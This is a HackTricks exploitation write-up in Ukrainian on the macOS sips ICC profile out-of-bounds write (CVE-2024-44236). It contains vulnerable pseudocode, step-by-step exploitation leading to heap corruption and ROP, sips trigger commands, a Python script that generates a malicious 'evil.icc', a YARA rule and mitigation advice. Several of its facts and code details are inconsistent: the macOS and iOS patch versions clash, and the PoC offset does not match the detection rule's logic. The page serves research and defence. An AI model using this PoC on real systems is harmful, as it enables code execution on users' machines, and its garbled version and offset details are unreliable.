WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236)
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Огляд
Уразливість нульового запису поза межами в Apple macOS Scriptable Image Processing System (sips
) парсера ICC профілю (macOS 15.0.1, sips-307
) дозволяє зловмиснику пошкодити метадані купи та перевести примітив у повне виконання коду. Помилка знаходиться в обробці поля offsetToCLUT
тегів lutAToBType
(mAB
) та lutBToAType
(mBA
). Якщо зловмисники встановлять offsetToCLUT == tagDataSize
, парсер стирає 16 байт після кінця буфера купи. Спосіб розподілу пам'яті дозволяє зловмиснику обнулити структури аллокатора або вказівники C++, які пізніше будуть розіменовані, що призводить до ланцюга випадкового запису для виконання (CVE-2024-44236, CVSS 7.8).
Apple виправила помилку в macOS Sonoma 15.2 / Ventura 14.7.1 (30 жовтня 2024 року). Друга варіація (CVE-2025-24185) була виправлена в macOS 15.5 та iOS/iPadOS 18.5 1 квітня 2025 року.
Уразливий код
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
if (offsetToCLUT <= tagDataSize) {
// BAD ➜ zero 16 bytes starting *at* offsetToCLUT
for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++)
buffer[i] = 0; // no bounds check vs allocated size!
}
Кроки експлуатації
- Створіть шкідливий
.icc
профіль
- Налаштуйте мінімальний заголовок ICC (
acsp
) і додайте один тегmAB
(абоmBA
). - Налаштуйте таблицю тегів так, щоб
offsetToCLUT
дорівнював розміру тегу (tagDataSize
). - Розмістіть дані, контрольовані атакуючим, безпосередньо після тегу, щоб 16 нульових записів перекривали метадані аллокатора.
- Запустіть парсинг з будь-якою операцією sips, яка торкається профілю
# шлях перевірки (файл виводу не потрібен)
sips --verifyColor evil.icc
# або неявно при конвертації зображень, які вбудовують профіль
sips -s format png payload.jpg --out out.png
- Корупція метаданих купи ➜ довільний запис ➜ ROP
В аллокаторі
nano_zone
за замовчуванням Apple, метадані для 16-байтових слотів знаходяться безпосередньо після вирівняного блоку 0x1000. Розміщуючи тег профілю в кінці такого блоку, 16 нульових записів знищуютьmeta->slot_B
. Після наступногоfree
, отруєний вказівник ставиться в чергу в маленькому списку вільних, що дозволяє атакуючому алокувати фейковий об'єкт за довільною адресою і перезаписати вказівник C++ vtable, що використовується sips, врешті-решт перенаправляючи виконання на ланцюг ROP, збережений у шкідливому буфері ICC.
Швидкий генератор PoC (Python 3)
#!/usr/bin/env python3
import struct, sys
HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding)
TAGS = [(b'mAB ', 132, 52)] # one tag directly after header
profile = HDR
profile += struct.pack('>I', len(TAGS)) # tag count
profile += b''.join(struct.pack('>4sII', *t) for t in TAGS)
mab = bytearray(52) # tag payload (52 bytes)
struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start)
profile += mab
open('evil.icc', 'wb').write(profile)
print('[+] Wrote evil.icc (%d bytes)' % len(profile))
Правило виявлення YARA
rule ICC_mAB_offsetToCLUT_anomaly
{
meta:
description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)"
author = "HackTricks"
strings:
$magic = { 61 63 73 70 } // 'acsp'
$mab = { 6D 41 42 20 } // 'mAB '
$mba = { 6D 42 41 20 } // 'mBA '
condition:
$magic at 0 and
for any i in (0 .. 10): // up to 10 tags
(
($mab at 132 + 12*i or $mba at 132 + 12*i) and
uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size
)
}
Вплив
Відкриття або обробка спеціально підготовленого ICC профілю призводить до віддаленого виконання довільного коду в контексті викликаючого користувача (Preview, QuickLook, рендеринг зображень Safari, вкладення в Mail тощо), обходячи Gatekeeper, оскільки профіль може бути вбудований у інакше безпечні зображення (PNG/JPEG/TIFF).
Виявлення та пом'якшення
- Патч! Переконайтеся, що хост працює на macOS ≥ 15.2 / 14.7.1 (або iOS/iPadOS ≥ 18.1).
- Розгорніть правило YARA вище на поштових шлюзах та рішеннях EDR.
- Видаліть або очистіть вбудовані ICC профілі за допомогою
exiftool -icc_profile= -overwrite_original <file>
перед подальшою обробкою ненадійних файлів. - Посиліть Preview/QuickLook, запустивши їх у пісочницях "прозорість та модернізація" ВМ під час аналізу невідомого контенту.
- Для DFIR шукайте нещодавнє виконання
sips --verifyColor
або завантаження бібліотекиColorSync
пісочничними додатками в об'єднаному журналі.
Посилання
- Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
- Apple security updates HT213981 “Про вміст безпеки macOS Sonoma 15.2” https://support.apple.com/en-us/HT213981
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.